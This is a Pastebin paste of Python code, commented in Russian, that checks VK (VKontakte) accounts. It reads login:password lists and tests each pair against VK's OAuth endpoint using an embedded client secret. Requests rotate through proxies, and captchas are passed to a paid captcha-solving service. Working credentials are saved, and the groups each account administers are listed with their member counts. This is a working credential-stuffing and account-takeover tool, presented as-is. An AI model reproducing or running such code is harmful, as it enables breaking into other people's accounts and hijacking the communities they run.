Advertisement
Guest User

Untitled

a guest
Mar 13th, 2016
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.87 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import requests, re, json, time, random, os
  3. from datetime import datetime
  4. from prettytable import PrettyTable
  5.  
  6. os.system("python porxy-check.py")
  7.  
  8. prxs = open("proxyS.txt", "r")
  9. logs = open("log.log", "a")
  10.  
  11. proxies = []
  12. for line in prxs:
  13.     proxies.append({"https":line.strip()})
  14.  
  15.  
  16. def log(txt):
  17.     text = str(datetime.now().strftime("%A, %d. %B %Y %H:%M:%S"))+": "+str(txt)
  18.     logs.write(text+"\n")
  19.     print text
  20.  
  21.  
  22. def antigate(captchaUrl, key="***"):
  23.     """ Return capcha code """
  24.     captchaFile = "captcha.jpeg"
  25.     captchaFileW = open(captchaFile, "w")
  26.     captchaFileW.write(requests.get(captchaUrl).content)
  27.     captchaFileW.close()
  28.     log("Загрузили каптчу из вк.")
  29.     time.sleep(2)
  30.     log("Начинаем загрузку на антигейт")
  31.     urlToUploadCaptcha = "http://anti-captcha.com/in.php"
  32.     res = requests.post(urlToUploadCaptcha, data={"key": key}, files={'file': ("captcha.jpeg", open("captcha.jpeg", "rb"))}).text.encode("utf-8")
  33.     resR = re.match(r"OK\|(?P<code>\d*)", res)
  34.     while resR == None:
  35.         time.sleep(1)
  36.         res = requests.post(urlToUploadCaptcha, data={"key": key}, files={'file': ("captcha.jpeg", open("captcha.jpeg", "rb"))}).text.encode("utf-8")
  37.         resR = re.match(r"OK\|(?P<code>\d*)", res)
  38.     capchacodeR = re.match(r"OK\|(?P<code>\d*)", res)
  39.     capchacode = capchacodeR.group("code")
  40.     log("Загрузили каптчу. ID = "+str(capchacode)+". Ждём 10 секунд и пробуем получить результат")
  41.     time.sleep(10)
  42.     capchacodeRes = requests.get("http://anti-captcha.com/res.php?key="+key+"&action=get&id="+capchacode).text.encode("utf-8")
  43.     capchacodeResR = re.match(r"OK\|(?P<code>.*)", capchacodeRes)
  44.     while capchacodeResR == None:
  45.         # log("Получить результат не удалось. Причина: "+capchacodeRes)
  46.         if res != "ERROR_CAPTCHA_UNSOLVABLE":
  47.             capchacodeRes = requests.get("http://anti-captcha.com/res.php?key="+key+"&action=get&id="+capchacode).text.encode("utf-8")
  48.             capchacodeResR = re.match(r"OK\|(?P<code>.*)", capchacodeRes)
  49.         else:
  50.             return antigate(captchaUrl)
  51.         time.sleep(5)
  52.     log("Похоже, что отгадали каптчу. Результат: "+capchacodeResR.group("code"))
  53.     return capchacodeResR.group("code")
  54.  
  55.  
  56. def auth(login, password, prox, code=None, sid=None):
  57.     """ Return access_token or None """
  58.     codeS = ""
  59.     if code != None:
  60.         codeS = "&captcha_sid="+str(sid)+"&captcha_key="+code
  61.     response = requests.get("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username="+login+"&password="+password+codeS, proxies=prox).text.encode("utf-8")
  62.     res = json.loads(response)
  63.     if res.get("access_token"):
  64.         return res.get("access_token")
  65.     elif res.get("error") == "need_captcha":
  66.         captchaUrl = res.get("captcha_img")
  67.         captchaSid = res.get("captcha_sid")
  68.         log("Пришла каптча. Отправляем на расшифровку. SID: "+str(captchaUrl))
  69.         code = antigate(captchaUrl)
  70.         return auth(login, password, prox, code, captchaSid)
  71.     else:
  72.         log("Ошибка авторизации вк: " + str(res.get("error_description")))
  73.         return None
  74.  
  75.  
  76. def checkGroupAdmin(token, prox=None):
  77.     """ return dick on None"""
  78.     response = requests.get("https://api.vk.com/method/groups.get?filter=admin.moder,editor&fields=members_count&extended=1&access_token="+token, proxies=prox).text.encode("utf-8")
  79.     res = json.loads(response)
  80.     allCount = res.get("response")[0]
  81.     if allCount>0:
  82.         return res.get("response")[1:]
  83.  
  84.  
  85. accounts = []
  86. accmap = []
  87. x = PrettyTable()
  88.  
  89. filem = open("accounts.txt", "r")
  90. success = open("account-success.txt", "w")
  91. for line in filem:
  92.     accounts.append(line.strip())
  93. filem.close()
  94. for el in accounts:
  95.     regularAkk = re.match(r"(?P<login>.*):(?P<password>.*)", el)
  96.     login = regularAkk.group("login")
  97.     password = regularAkk.group("password")
  98.     proxi = proxies[random.randint(0, len(proxies)-1)]
  99.     log("Авторизируем аккаунт "+login+" используя прокси " + str(proxi))
  100.     res = auth(login, password, proxi)
  101.     if res != None:
  102.         log("Аккаунт "+login+" валидный! Проверим на наличие групп на аккаунте.")
  103.         success.write(login+":"+password+"\n")
  104.         groups = checkGroupAdmin(res, proxi)
  105.         groupsAcc = []
  106.         if groups != None:
  107.             for gr in groups:
  108.                 groupsAcc.append({"groupId":gr["gid"],"count":gr["members_count"],"is_admin":gr["is_admin"],"admin_level":gr["admin_level"]})
  109.         accmap.append([{"login":login, "password":password, "proxy":proxi, "token":res, "groups":groupsAcc}])
  110. success.close()
  111. for el in accmap:
  112.     printGroups = ""
  113.     for gr in el[0]["groups"]:
  114.         printGroups = printGroups+("\nGroupId = {groupId:9} Members = {count:8} Admin level = {admin_level}".format(**gr))
  115.     resultString =  ("{login}:{password} - Token = {token}, Proxy:{proxy}, Groups: ".format(**el[0]))+printGroups
  116.     print resultString
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement